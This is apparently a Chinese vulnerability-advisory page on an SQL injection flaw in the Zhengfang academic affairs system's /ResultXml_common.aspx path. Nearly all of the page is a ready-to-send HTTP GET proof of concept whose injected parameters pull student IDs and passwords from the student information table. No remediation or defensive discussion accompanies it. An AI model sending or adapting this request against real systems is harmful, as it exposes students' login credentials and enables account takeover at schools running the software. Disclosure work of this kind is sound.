正方教务系统 /ResultXml_common.aspx 路径存在SQL注入漏洞

日期: 2023-03-24 | 影响软件: 正方教务系统 | POC: 已公开

漏洞描述

正方教务系统 /ResultXml_common.aspx 路径存在SQL注入漏洞

PoC代码

GET /ResultXml_common.aspx?k=%&column='[username='||xh||']['||'passwd='||mm||']'&table=xsjbxxb+where+rownum<=10--+ HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Cookie: JSESSIONID=098DD6A1CCA0D3EE9CB8484C62B413E4; route=a7dcef3bb2d661a0ccea768068853fda
Testhead: TestValue
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

相关漏洞推荐